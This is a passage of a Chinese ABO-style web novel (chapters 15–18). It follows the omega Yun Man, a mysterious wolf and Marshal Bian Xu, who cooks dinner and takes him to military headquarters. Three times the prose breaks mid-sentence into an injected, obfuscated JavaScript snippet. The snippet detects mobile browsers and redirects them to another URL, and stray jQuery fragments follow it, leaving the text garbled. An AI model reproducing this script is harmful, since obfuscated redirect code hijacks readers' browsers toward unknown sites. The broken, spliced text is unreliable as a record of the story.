就算狼能听懂,可他之前说话,狼都没有回应过…… 云满正在纠结,袖子却忽然被咬住拽了下。 狼自认为用的力气很小,却没想到对于云满来讲还是有些超过,加上omega本来就没站稳,这下更是直接踉跄了一下。 ……呜? 云满一把抓住狼毛,好不容易才站稳,有点委屈地看向狼。 狼默默移开视线。 云满竟从那张满是毛毛的脸上看出了几分心虚。 他新奇地绕着狼走了两步,然后就被狼一口叼住了袖子往前扯。 这次,云满终于长记性了,连忙跟着狼往前走,最终停在窗边。 他看到了极远处亘古蜿蜒的雪山,皑皑冰雪覆在山顶,像是雾霭,炽烈的阳光落下去,也被凝固成永恒的冰晶。 而雪山脚下则是苍翠一片,碧树葱茏。 云满看愣了好几秒,才终于反应过来,他还有点不可置信,低头去看狼,“你是从那里过来的吗?” 狼安静地凝视着他,舔了舔他指尖。 有点痒。 云满将手藏到身后,看着狼若有所思。 “所以,你不是元帅养的宠物……是研究院将你放生到那里的吗?” 狼听不懂,狼十分心安理得地舔了舔omega。 云满慢吞吞将另一只手也藏起来,又问:“那你为什么要跑这么远过来?” 狼不耐烦地甩了甩尾巴,探过头去又舔了舔omega的指尖。 云满:“……” 他妥协了,主动伸出掌心。 狼眯了下眼,愉悦地弹了下耳朵。 云满盯着那两只动来动去的粉嫩三角耳,有点手痒。 他都已经贡献出了自己的一只手,那么狼给他捏捏耳朵,也很正常吧? 云满飞速地说服了自己,小心翼翼伸手,靠近了那双泛着粉的耳朵。 狼眯了下眼,没什么反应。 他松了口气,一把揪住狼耳朵开始狠狠揉! 15.芋泥 光脑忽然震了一下。 狼已经走了,云满则刚收拾完一团乱的床,并十分心虚且惭愧地请AI来维修了元帅一片狼藉的房间和破碎的窗户,再将两只小熊的尸体收敛好,悄悄搬回了自己的房间里,放进了床底下。 等之后有机会,去研究院拜托他们找个人给小熊做个缝合手术吧。 至于现在,他毕竟收了狼给的“贿赂”与“赃款”,那还是得替狼瞒好这件事…… 要是被元帅发现两只小熊都惨死在狼——也或许不是狼?而是某种云满不认识的生物?他不太确定这件事——嘴里,虽然有野生动物保护法,狼肯定性命无忧,但是云满也就再见不到狼了。 虽然狼很讨厌,第一天咬碎了他的光脑,第二天又咬坏了他的小熊,但毕竟……毛还是很厚很好rua的。 总之绝对不是因为他收了狼的“赃款”! 云满心里乱乱的,难得勤快地收拾起了房间,将大大小小的玩偶都重新摆了一遍,力求让元帅完全看不出分别! 这一收拾就收拾了快三个小时,累得云满腰酸背痛,好怀念在协会时有人帮忙收拾东西的日子。 而且根本不用考虑这么多事情…… 唉,这就是大人的世界吗? 云满唉声叹气,满心愁绪。 这时光脑忽然亮起,他手忙脚乱地拿起,低头一看。 【伊会长:岁岁,你有东西忘拿了,什么时候有空,我给你送过去。】 云满连忙回复:【都可以的,我全天都有时间!】 对面没再回复,云满在原地坐了一会儿,放空大脑休息。 然后又坚强地爬起来,重新调整抱抱兔和兔兔鲨的位置,思考了两秒,又找了个新的、看起来跟哄睡小熊很相似的小熊放在原来的哄睡小熊位置上。 很好,元帅应该看不出来了吧? 毕竟他昨晚连两只哄睡小熊那么明显的区别都没看出来! 云满对自己的杰作十分满意。 光脑震了两下,提醒他有人来访。 他连忙下楼,拉开门。 门外站着的,是一个看上去约莫四十多岁的女性omega,眉眼若远山黛,唇角眉梢都带着轻轻浅浅的笑意,看上去温柔极了。 这是伊会长,几乎不与alpha打交道,只负责协会内部事务,外人评价她与鸾会长简直是两个极端。 但只有见识过她年轻时风范的人,才知道她究竟是个怎样杀伐果断的性子。 然而云满并不清楚这件事,在他心里,伊会长总是温温柔柔的,说话细声细语,还随身带糖,对omega们都很好。 他连忙让开身,道:“您进来吧,我给您倒茶。” 伊会长摇了下头,笑道:“我只是送个东西,带句话就走。” 说着,她不动声色地打量过一遍云满,见对方颈侧脸颊都带着点红痕,眸色微沉。 但她面上并没有表现出来,仍自然地笑着,问:“元帅不在吗?” ——她当然知道这件事。 不论是军部还是协会,都对AO之间的匹配极为重视。 就是再忙碌再重要的职位,军部都会为alpha留出适当的空闲时间,用以跟omega培养感情。 而协会也会不定时上门检查,这件事元帅应当心知肚明。 她默不作声地在心里为“给予omega充足且高质量的陪伴”这一项画了叉。 伊会长的目光越过云满,看向室内,见内里装饰与她先前来时完全不同,很明显是云满的风格,才收回目光。 云满对伊会长隐蔽的观察完全没有发觉,也并不知道自己身上被狼舔出了印子——这件事狼也很无辜,它只是轻轻舔了两口,谁知道omega皮肤这么脆弱? 他摇了下头,道:“元帅很忙的。” “那你呢?”伊会长问:“岁岁,你每天在做什么呢?” 当然是,吃、喝、玩、乐。 云满有点心虚地移开视线,无意识地捏了捏指尖,小声说:“就是,就是在复习协会的教导,烹饪什么的……” 伊会长皱了下眉,“我知道了。” “如果感到寂寞的话,协会永远是你的家。”她低声说完,往云满手中塞了个盒子,笑着道:“这是我和鸾会长送给你的礼物——毕竟你的情况还是太特殊了,岁岁,你要谨慎一些。” 云满不太懂她这句话的意思,但还是乖乖地点了头,“我记住了。” 伊会长转身离开,登上飞行器后,懒懒倚在椅上的青年才揭下脸上的帽子,声音散漫:“岁岁收下了?” 伊会长点了下头。 “只怕他都不认识那东西是什么。”鸾会长轻嗤。 伊会长叹了口气,有些忧愁道:“岁岁还太小了,更何况我看元帅也似乎没有那方面意思。” 鸾会长眯着眼笑了声,“匹配度并不代表一切,当初我就不同意岁岁去试婚。” 匹配成功后,与丈夫琴瑟和鸣二十多年的伊会长幽幽看着同僚,道:“可不是谁都跟你一个样。” “那我且等着了。” - 云满正盯着掌心里的止咬器沉思。 黑色的、金属的、冰冰凉的。 还有两根交叉的皮带,看起来怪模怪样,还有点眼熟。 他小心翼翼地摸了一下金属网,又试探性地在自己脸上比划了一下。 他看着镜子里大半张脸都被挡住的自己,悻悻放下止咬器。 看大小,应该不是给自己用的。 他又沉思了好久,没想通,便干脆藏到了自己床底下某个隐蔽的小柜子里——是他一贯收藏礼物的秘密基地。 与此同时,在一整天内几乎跑遍了整个帝星的副官,终于从一个beta手里高价买到了同款哄睡小熊。 在送到元帅手上之前,他盯着这小东西翻来覆去地琢磨了好半天,都没研究明白为什么这东西这么贵。 甚至出价这么高了,那个beta还是被他磨了好久,要不是家里有重病的亲人,急需用钱,只怕也不会卖给他。 说起来,也不知道元帅今个儿是突然抽了什么风,大半夜的把他拉起来,又早早来了军部,既不去训练场挑刺,也不去找其他几个军团的军团长切磋,就搁那儿坐着沉思,不知道沉思个什么劲。 他刚准备扯一下旁边的左少将,一起发挥群众的力量,来探讨元帅究竟是抽了哪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14037976|148832||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 门子的风,就又见自家元帅步履平稳且目不斜视地快步离开,手上还拿了个跟他风格很不相符的毛茸茸小熊。 ……得,他明白了,肯定是给那位殿下买的。 他觉得结婚宴自己得坐主桌。 边叙上了飞行器,没急着启动,而是检查了一下手里的小熊,确定外观完全一致,又翻过小熊按下功能键。 小熊瞬间变大,豆豆眼跟随着元帅的位置,然后…… 开始放摇篮曲。 边叙:“。” 他面无表情地关掉了这个功能,只保留了“拥抱”。 应该没问题了。 希望云满什么也没发现。 他今天到家很早,客厅内静悄悄的,厨房也安安静静。 与他走时并没有什么区别,只除了餐桌上已经冷掉的两份早饭。 边叙脚步一顿,他垂下眼。 两碗甜汤,还有被细心雕出花瓣模样的各色糕点,以及一笼不知道什么馅的小白包子。 都是没动过的样子,只除了云满位置上冷掉的半杯牛奶。 边叙几乎可以想象到,omega早早地爬起床,在厨房里忙了好半天,最后却独自坐在餐桌旁,一小口一小口啜饮着牛奶,也没等到另一个人的落座。 指尖动了一下,边叙拾起最边缘的一只,咬了一口。 甜的,紫色的。 他用光脑搜索了一下。 原来这叫芋泥。 …… 新光脑到手,云满快乐地在床上滚了一下午,完全忘记了惨死的小熊、不知道哪里来的狼,还有伊会长送的奇奇怪怪的东西。 他刷了一会儿视频,又跟好朋友聊了好久的天,直到闹钟响起时,才不情不愿地爬起来,准备去做晚饭。 但刚推开门,眼角余光却瞟到了什么奇怪的东西。 隐蔽处,边叙谨慎地往后退了退,目光凝在云满脸上——他先是回了自己房间,发现床上干干净净,而原本还完好无损的那只小熊也离奇消失,取而代之的则是另一只熊。 他便明白,应该是云满来过,并发现送给自己的小熊居然一夜就坏了,才将剩下那只小熊也带走,却又不想让他发现,还刻意做了遮掩。 ……肯定生气了,就是不知道有没有哭。 元帅忧心忡忡,将新买回来的小熊偷偷摸摸放到云满卧室门外,随后便埋伏在这里,准备观察云满的反应,来制定下一步的对策。 云满伸懒腰的动作一顿,有点疑惑地转头,然后便猛地看到自己已经确认惨死的小熊居然死而复生了! 他被吓了一跳,下意识后退两步,才注意到不同——这只小熊眼睛旁边的毛毛是发紫的! 不是同一只熊…… 他犹豫了两秒,才慢慢靠近那只熊,用光脑登进官网查询了一下编号。 果然不是原来的小熊。 但是…… 为什么他房间门口会突然出现一只新的哄睡小熊? 云满百思不得其解,他在原地转了两圈儿,目光漫无目的,最终停在自己的新光脑上。 他突然开始心虚了——这,这该不会是狼愧疚于杀了他的小熊,所以又给他偷了一只来吧?! 16.丈夫的职责 云满原地纠结了好久,左右看看,发现周围空无一狼,完全找不到线索,才一咬牙把小熊抱进去,用光脑拍了个照发到同好聚集的论坛上,全网寻主人。 他忧心忡忡地坐在原地,只觉得这狼实在是学得太坏了。 可偏偏都是为了赔偿他,为了哄他开心。 而且狼还听不懂人话,根本没办法教育。 云满更忧愁了,他思来想去都觉得不合适,直到忽然灵机一动,爬上床,从抽屉里翻出方才伊会长给他送来的东西。 ……所以,应该就是这么用的吧? - 云满在房间里折腾了好一会儿,才想起自己应该去给元帅做晚饭了,连忙爬起来下楼,却在转过楼梯拐角时步子一顿。 他嗅到了饭香。 云满意外极了,他快步走下楼转进餐厅,便见身着军装的alpha正冷着脸从厨房里端饭。 他懵在原地,仰起头看着元帅:“……?” 可元帅却似乎没有发觉任何不对,只将手里端着的饭摆在桌上,沉声道:“来吃晚饭。” 大概是习惯了发号施令,这句话说得也硬邦邦,云满下意识往后缩了缩,小声应了下,连忙坐到餐桌前,双手接过元帅递来的餐具,埋头努力开啃。 粒粒分明的饭,还很硬,云满咬得腮帮子都好累,他悄咪咪抬头想去观察元帅——原来对方并不喜欢软糯的、入口即化的大米饭吗? 边叙察觉到那道若有若无的视线,动作微顿。 他误解了云满的意思,还以为对方是嫌不够甜,静了两秒才解释道:“糖吃多了对身体不好。” 云满慢吞吞应了一声。 ——他当然也清楚这件事,但刚离开长辈监管的小omega总是会有那么一点难以自抑,每次都哄着自己说明天就健康饮食……咳。 他也没有很抗拒元帅管他啦。 就是这饭真的好硬QAQ…… 等一等。 云满忽然意识到什么问题,猛地抬起头,惊讶地看向对方,下意识发问:“这是您做的晚饭吗?” 边叙垂了下眼,嗯了一声。 “alpha也有烹饪类的课程吗?”云满更惊讶了,他有点好奇地看向元帅,目光又往下落,落在对方那双一看就是拿惯了枪的手上。 边叙下意识缩了下指尖,而后语气平稳回答道:“大多alpha都会出野外任务,这是生存技能。” 云满明白了,但又不是很明白,思考了两秒钟,谨慎发问:“那,野外你们会去捉野鸡,或者摸野鸡蛋吗……?” 用野鸡蛋来做蛋糕? 虽然完全没有经历过,但云满自己都觉得这个想法太过幼稚,这个问题也太过浅薄了。 他因此还有些不大好意思,可他实在是想不出来还会有什么情况。 对于常年被关在帝星,被留在浮空岛上的omega而言,最坏最糟糕的情况也不过是被逼着吃一些讨厌但有营养的食物,比如说水煮蛋,比如说硬邦邦的肉和苦苦的蔬菜。 那在野外的话……应该就是去抓野生的? 而且,说实话,他真的很好奇alpha们的生活。 ——他父亲当年,是不是也经历过同样的事情呢? 边叙闻言,倏地抬眼看向云满。 小omega正费劲地咬着大块的、硬到咯牙的肉,用力到鼻子都要皱起来了。 突然被盯住,明显吓了一跳,下意识地松开,呆呆地跟他对视。 那双眼总像是蒙了一层水雾。 边叙面无表情地移开目光,道:“不是。” “唔?” 边叙又顿了两秒,见omega没有继续吃的意思,衡量了一下,觉得这话应该不会影响对方的胃口,才言简意赅道:“虫族是最优良的能量来源,但需要辨明有没有毒素。” 云满:“……” 手里本来就不香的肉,更吃不下去了。 他沉默两秒,镇定地放下手里的肉,转而大刨了两口米饭。 但大米太硬,他噎得难受,又端起牛奶喝两口,给自己顺气。 一套连招下来,云满终于没那么难受了,他抬头看看对面神态自若的元帅,只觉得对方实在是太厉害了。 他小声问:“虫族的肉……是什么口感?” 边叙有点意外地看向云满,“你想尝尝?” “?” 云满大惊失色,疯狂摇头:“不用了不用了!!” 这就大可不必了! 边叙颔首,过了片刻才道:“是苦的。” 语调毫无起伏。 通常是在荒星,极端恶劣的气候与环境,生存下来的动植物也极为凶残,多数难以入口,反倒不如虫族。 也有几次是带着尖刀小队陷入绝境混战,绿色、蓝色甚至紫色的虫血与人类的断肢混在一起,到最后,活下来的alpha沉默着割下虫肢,腥气弥散在大雪之上。 云满不说话了,他低头啃两口白米饭,觉得好像也没那么硬了。 他想起元帅之前送他的第一份礼物,那只名为“侦察者”的虫族,就携带着神经毒素。 也是因此,元帅才没有把它吃掉,而是带回来当纪念品的吧? alpha们都在经历这种事吗? 云满脑子里乱乱的,胡乱啃了几口饭,餐桌上只剩下碗筷相碰时发出的极细微声音。 而且更准确来讲,是只有他一个人在发出这种噪音。 云满盯着对面动作迅速却连一丝杂音都无的元帅,开始发散思维——是不是为了防止被虫族发现,所以才养成了这种习惯……? 他这么一想,又觉得心里酸酸的。 边叙当然捕捉到了对面omega的一切小动作,见对方脸上表情换来换去,又不知想到了什么,突然抬头看他一眼,眼神带着某种诡异的……同情? 他保持沉默,直到对方再一次完成如上一套动作,用饱含同情的眼神望向自己时,冷不丁开口:“你今天在做什么?” “!” 怎么又是这个问题! 云满被吓了一跳,他有点心虚地捏了下指尖,小声道:“就是,就是在卧室里待着啦。” 绝对没有打碎元帅房间的窗户,也绝对没有陪着不知道从哪里跑进来的狼玩! 边叙沉默了片刻,目光落在餐桌上,过了片刻,他问:“你有什么想做的事情吗?” “诶?” 这问题对云满来讲实在是太陌生了,他思考 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14045283|148832||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了两秒,小心翼翼地问:“您是想让我做些什么吗?” ——是继续学习协会的课程吗?还是去学一些跟alpha有关的课程? 云满不太明白。 那双深灰色的眼凝视着他。 “不。” 就像他想要重回前线一样。 他清楚omega在协会时会被怎样限制,也知道许多omega在结婚后,会开始追求自己的事业。 虽然他并不认为这段“婚姻”会走到最后,但此时此刻他认为自己有着身为“丈夫”的职责。 云满晃了晃脑袋,觉得自己好像听到了水声,他有点茫然地看向元帅,“我自己想做的事情吗?” 他思考了两秒,又悄悄抬头看向元帅,眼睛忽地一亮。 边叙:“……?” 他心中陡然升起一股不太妙的预感。 云满快乐且谨慎地开口了:“我想每天都跟着您,可以吗?” 小omega眼睛亮晶晶,满怀期待地看过来,没有任何alpha能拒绝他的请求。 边叙动了下唇。 “……” 就算是元帅也无法拒绝。 边叙放弃努力。 “……嗯。” 云满眼睛更亮了,他很惊喜地问:“真的吗?您去军部的时候也可以吗?——我会很乖的!我从小就在陪我哥上班了,一定不会打扰到您的!” 边叙彻底放弃反抗:“……嗯。” 云满心情又明媚起来了,“谢谢您,那我要先去准备一些礼物……唔,二十份够吗?” 边叙:“……?” 这对他来讲是盲区,他实在不明白为什么去军部要携带礼物,但看着兴冲冲的omega,不理解但还是选择尊重对方,“随意。” 这个回答又让云满茫然了,他坐回原地,问:“那您的同僚们会喜欢猫猫饼干吗?” 这个问题引得边叙看了云满一眼。 猫…… 他又看了云满一眼,重点落在了对方不自知翘起的呆毛上。 ……很像是猫耳朵。 他道:“都可以。” 云满便懂了,都是完全不挑食的好人! 他立刻起身准备去厨房,才刚走出两步,却忽然被叫住。 “你,……为什么想跟着我?” 云满回头,看到alpha正坐在那里,深灰色的瞳孔幽暗。 他歪了下脑袋,不太理解元帅为什么要问这个,毕竟答案实在是太过明显了。 他很轻易地就给出了答案:“因为我想离您近一些呀。” 只有这样,才能保证元帅尽快好起来。 唉,要怪只能怪他的腺体还没发育好,不然的话,咬一口肯定比他每天黏在元帅身边效率高。 云满有点苦恼地叹了口气。 但没办法了,没事,他现在最多的就是时间! ……就怕元帅等不起了tut。 小omega思来想去,有点担忧地叹了口气,但烦恼来得快去得更快,他快快乐乐进了厨房,准备为丈夫的同僚们准备见面礼。 只留下他的丈夫独自坐在原地,深灰色的眼垂下去,又抬起,凝视着omega轻快离开的背影。 17.自作自受 第二日清晨,边叙一如既往地早起、锻炼、冲澡、下楼。 便见omega坐在餐桌旁,脑袋跟着他的脚步转来转去,左眼写着期待,右眼写着高兴。 路过沙发时,他看到了摆满一茶几的精致小盒子,嗅到了甜腻的糕点味道。 他脚步一顿,但没说什么,神色如常地走到餐桌前,有些诧异地看到了满桌十分正常的早饭。 唯一可以跟“甜”沾边的,似乎只有云满面前的一小杯牛奶。 尽管如此,omega还是很心虚。 注意到他视线停留,云满下意识地抬了抬手,企图用袖子悄悄挡住那一小杯牛奶。 边叙移开目光。 云满松了口气,但又怕元帅杀个回马枪,连忙趁元帅拉开椅子,没注意到他的时候,一把端起牛奶咕咚吞下去。 边叙:“……” 他看到了。 沉默了两秒,他还是没忍住,开口提醒道:“不要喝那么快。” 毕竟omega的身体太过孱弱。 极为明显的,小omega身体一僵,有点心虚地用眼睛偷偷瞟他,对上视线后又立刻惊吓般移开,过了片刻才慢吞吞、若无其事地把牛奶放下。 边叙:“……” 他有点头疼。 他现在觉得自己不是在当丈夫,而是在给云满当爹。 - 对云满来讲,早饭吃得那叫一个惊险,但完全没有浇灭出门的渴望,元帅刚一放下筷子,他就立刻站起身,匆匆跑回自己的房间。 过了两秒,又匆匆跑下来。 清晨的阳光透过走廊的窗子,落在他身上,像是有星芒一闪而过。 边叙的目光落在云满领口,精致的、缀了暗纹的衣领上,银色的猫猫徽章翘着尾巴,一双宝石绿的眼熠熠发光。 光是看着,就满身的矜贵。 边叙皱了下眉。 omega却完全没有发觉,他站定在客厅中央,因为动作太急,还有些微微的气喘,有碎发落在脸颊。 他仰起脸,很期待地看向不远处的alpha。 似乎早就习惯了被帮助,被捧在手心里,也因此可以很轻易地向别人提出请求。 “您可以帮我拿一下这些礼物吗?” 他站在原地,似乎有些不大好意思,微微低着脑袋,发丝柔软而蓬松。 指尖微微动了一下,边叙没说话。 桌上的东西确实有些多了。 虽然都是些不过巴掌大的小盒子,也有漂亮的带子系着,被透明的塑料袋装着,但零碎的东西加在一起,看起来也难免有些累人。 ……尤其是眼前这个omega。 他伸手拎起袋子。 出门对omega来讲,似乎是件很快乐的事情,从家门到飞行器前,明明不算短的一段路,居然从头到尾都没有表现出任何不耐与疲惫,始终像个小尾巴似的,跟在边叙身后转来转去。 还经常分心,路边的小花小草都能轻易引去他的注意力,有蝴蝶落下来时,能听到omega惊喜的呼声,有虫子在泥土里悉索时,又能将云满吓一大跳,立刻缩到边叙身后。 可他既害怕突然跳出来的虫子,又有点害怕冒犯到元帅,最后思来想去,小心翼翼地伸出一根手指,拉住元帅的衣角。 ……太近了。 边叙似乎能感受到omega细细的呼吸,让他无端有些烦躁。 他加快了步子。 omega似乎有些猝不及防,落后了两步,旋即终于回了神,不再去看路边那些乱七八糟的东西,只一心想要跟上元帅的脚步,却奈何对方实在是动作太快。 边叙听到了omega不稳的喘息,他沉默了两秒,又放慢了脚步,心中有些困惑——他不太明白,自己方才为什么会做出那样的动作。 云满对于元帅复杂的心理活动一无所觉,还以为是元帅嫌自己动作太慢,或者快要迟到了,连忙收了心——有正事时,云岁岁坚信自己还是十分可靠的! 飞行器缓缓启动,设置好目的地后,边叙闭目养神,对身旁的omega在做什么,似乎全无兴趣。 云满则熟练地给自己套上安全带,随后抱起自己精心准备了一个晚上的礼物们,认认真真检查了一遍。 “这个梅莓口味的猫猫饼干送给您的副官,这个送给第二军团的军团长……这个留给您,这个牛奶巧克力口味的我要自己吃……唔,应该够用吧?” 边叙睁开眼,正好看到云满正满脸心虚地、悄咪咪把他口中所谓“留给元帅”的饼干塞进了自己口袋里。 边叙:“……?” 他看到了。 边叙面无表情地盯了云满两秒。 但奈何小omega对于注视实在是太过迟钝,只忽然感觉身上有点怪怪的,茫然地挠了下脑袋,左右看看,一无所获后,便轻易将这件事归结为“幻觉”。 他为元帅准备了二十块口味各异的饼干,但现在想想,元帅或许不太爱吃饼干吧……咳,但没关系,他很乐意为元帅解决困扰! 一整个路上,云满很专注地对着饼干们进行大点兵,一点都没发觉背后有双眼睛盯了他一路。 到下飞行器时,他才心满意足地清点完毕,将饼干们重新收拾好。 飞行器直接停在了最顶层。 已经是偏晚的时间,云满下车时,整个天台只有他们两人。 这还是云满有记忆以来,第一次来到军部,他满是好奇地抬起头,看到碧蓝的天,与外界似乎并没有什么不一样。 原来alpha们看到的天空,也是这个颜色的。 边叙却面无表情地瞥向某个方向,眸光中暗含警告。 暗暗观察的alpha们立刻嗖一声缩起脑袋,不敢再看。 但还敢背后蛐蛐。 于是,在云满不知道的情况下,他们两个人甚至还没来得及下楼,关于“元帅拐带了一个未成年小O来军部”的消息就已经飞速传遍了整个军部大厦。 电梯“叮”一声停下,云满望着透明玻璃外高耸入云的军部大厦,没忍住张开嘴,发出了小小的惊叹声。 “哇……” 原来这就是他父亲曾经效力的地方吗? 他父亲应该也曾每天乘坐着这个电梯吧? 唔,甚至,他的爸爸也曾经跟着父亲一起来过军部,就像他现在一样…… 云满用力眨了下眼睛,透明玻璃外,灰色的军部大厦仍安静地矗立着。 过了片刻,他终于注意到玻璃上映出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14068960|148832||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的另一道沉默身影,他犹豫了两秒,转头问元帅:“您当年,是为什么选择从军呢?” 边叙有些意外地看了云满一眼。 “人类没有选择。” 云满蜷了下手指。 他当然知道这个答案,这是写进教科书里的话,可是,他既然都问出来了,那肯定不是想听这种硬邦邦的话啦。 但…… 云满保持着望向窗外的姿势,实则偷偷摸摸观察玻璃反光上元帅的神情。 ……QAQ。 可恶,不敢再问。 边叙的视线落在云满侧脸上,停顿了两秒,他才开口:“那你为什么同意匹配?” 云满回头,“因为您需要我呀。” ……他不需要。 边叙面无表情,微微抬了下头,绷紧了下颌线。 “而且,我当时查看了很多关于您的资料……啊,对不起我不是有意冒犯您的隐私,但我只是想多了解一下未来的丈夫。” 虽然现在看来,大概率是当不了丈夫了。 云满心虚地捏捏指尖,“然后,我就发现您是个很厉害很厉害的alpha,是帝国的大英雄,比如在三年前的希尔星的那场战役……” omega声音软软的,一双漂亮的眼睛里满是真诚和肯定,显然并不觉得自己脱口而出的话有多不合适。 而且,话好多。 边叙有点后悔自己刚才主动开口询问了。 云满满怀热情地跟元帅介绍着对方的功绩,并努力想要向对方示例“面对别人提问时正确的回答态度应该是什么”。 “叮”的一声,电梯开了,元帅连犹豫都没有,举步就往外走。 刚讲到“两年前的厄泽战役”的云满:“……?” 他诧异地睁大眼,盯着元帅连一丝犹豫都没有的背影,气鼓鼓:好没礼貌的alpha! 但他很快又熟练地哄好了自己:为了带他过来,元帅已经在迟到边缘了,所以走快一点也是可以理解的……吧? 不。 云满不理解了。 他看着乱七八糟的回廊,茫然地原地转了一圈儿,完全没找到元帅的身影。 完蛋了。 他好像走丢了。 云满慢吞吞挪到墙角,蹲好。 早知道会这样,昨天就不跟元帅保证说不会添乱了…… 他低着头画圈圈,忽地听得由远及近一阵脚步声。 “要命,元帅他老人家为了个什么破熊刚折腾了我一天,怎么又给我安排那么多活儿,直接出好几天的外勤,老天,我是不是哪儿得罪他了……嗯?” 副官停下脚步,见鬼般盯着墙角跟个蘑菇似的omega。 云满也慢吞吞抬起头,努力辨认两秒,认出对方就是星网资料上辅佐了元帅好多年的副官先生。 他在兜里翻了翻,成功找出了之前从元帅的礼物盒子里偷来准备自己吃的小饼干,递给对方当作见面礼,同时很有礼貌地打招呼:“您好呀,我是元帅的omega,我叫云满。” 副官下意识接过饼干,“小殿下您好您好……” 嘶,怎么突然感觉脖子有点凉? 副官疑惑地摸摸后脑勺,完全没注意到不远处,有道视线正幽幽盯着自己。 18.行贿(bushi) 云满见对方接下饼干,贿赂成功,顿时感觉亲近不少。 爱吃小饼干的人一定不会坏! 元帅的副官看起来还是挺平易近人的! 他主动介绍道:“这是牛奶巧克力口味的小饼干,不知道您喜不喜欢……” 从不吃糖的副官下意识点点头,道:“当然当然。” 他盯了云满两秒,忽然想起方才看到内网上没有元帅在的那个群里,同僚们传的那些八卦什么的…… 虽然他早猜到了可能是眼前这位殿下,不过…… 副官不由咋舌。 看起来还真像是个未成年omega啊。 不对。 如果是那位,那元帅在哪里? 以元帅的性子来讲,虽然不太可能这么快就接受omega,但也不可能在这种陌生环境下把omega一个人扔在这里吧? 还是说,眼前人有问题……? 转眼之间,副官心里想到了无数种可能,但他面上仍不动声色。 副官正想观察一下周围,却又见omega有点不大好意思地抬起眼,小声说:“那个……我不小心跟元帅走丢了,您能带我过去见他吗?” 思路骤然被打断,副官没怎么犹豫就点了下头,“行,我带您过去。” 云满松了口气,拍拍衣服上的土,跟到副官身旁,观察着对方。 与元帅完全相反,副官有着一双淡蓝色的、天空般的眼睛,看起来就很容易让人心生亲近之感。 没想到,元帅的副官居然是这个样子的。 他还以为,会像元帅一样,又凶又闷又吓人…… 而与此同时,副官心里也思来想去,觉得不大对劲。 但是看看旁边的omega,再想想元帅跟这位第一次见面就直接把人吓哭了,那么现在把人带到军部再甩掉……也很正常吧? 毕竟这可是元帅的地盘。 这么一想,副官又有点心虚——元帅不会在哪天因为虐待omega,被协会直接抓进去吧? 他握拳抵在唇边轻咳一声,问:“殿下,冒昧一问,您跟元帅相处还顺利吗?” 云满正在心里偷偷说元帅坏话,闻言被吓了一跳,有点心虚地往右看了看,小声说:“挺好的。” 副官心一沉。 坏了,那就是不太好。 他连忙为上司找补:“我跟元帅在军校时就认识了,他虽然人闷了点,话少了点,对别人严苛了点……但做丈夫的时候还是很好的!” 云满:“?” 他有点茫然地眨了下眼,“您怎么知道这件事的?” 副官:“……” 更坏了。 他有点想扇自己这不会说话的嘴一巴掌,表情稍微严肃了点,接着找补道:“因为我们alpha都有一门必修课,名字叫《如何正确对待你的omega》,这门课没到九十五分以上都不准毕业……” 等一下。 副官缓缓停住。 咱元帅这门课好像挂了三次? 副官眼前一黑。 但他不说话了,却不代表云满不问了。 云满眨巴着眼睛,看了副官两眼,觉得副官应该跟元帅很熟悉,犹豫了两秒,又忍痛偷偷往副官手里塞了两块小饼干。 副官:“……?” 他下意识收好,过了两秒才突然惊醒——这应该不算受贿吧? 云满见对方收下,接着小声问:“那,元帅对于这次的匹配,是怎么想的啊?” 还能是怎么想的? 最开始直接当没看到匹配局的消息,后来又闯到陛下面前,要求回前线,要不是陛下把元帅机甲的出入通行证给取消了,只怕元帅现在人都已经不在帝星了! 副官干巴巴地笑了一声,为自家元帅的人生大事费尽心力:“他当然是很乐意啊,当时要不是我们拦着,说这样不太好,怕不是在第一天就直接冲进匹配局去见您了!” 云满:“……?” 怎么跟他记忆中不太一样……他做梦了? 他有点迷惑。 还好这时两人终于抵达了元帅的办公室附近,副官松了一大口气,对着云满敬了一礼,“就是这里了,您直接上去就好。” 云满还想再问点什么,但见副官一副焦灼想走的表情,犹豫两秒,又怕耽误对方的正事。 就是这两秒的犹豫,让副官直接跑掉了。 云满只好转身进去。 而另一边,副官一口气跑到走廊上,正要庆幸自己终于不用应付那位殿下了,眼前却忽然被一道恐怖的阴影覆盖。 副官:“……?” 他颤颤巍巍地抬起头,便看到了自家元帅面无表情的脸。 边叙伸出手。 副官手指抖了下,他思考两秒,缓缓摘下自己的肩章,悲壮地放在元帅手上。 边叙:“……?” 他面无表情地把肩章甩过去。 副官连忙接住自己的宝贝肩章,见元帅仍跟个雕塑似的拦在他面前一动不动,忽然福至心灵,取出方才小殿下送自己的五块小饼干,一边观察着元帅的神情,一边慢慢递过去。 ……这次对了。 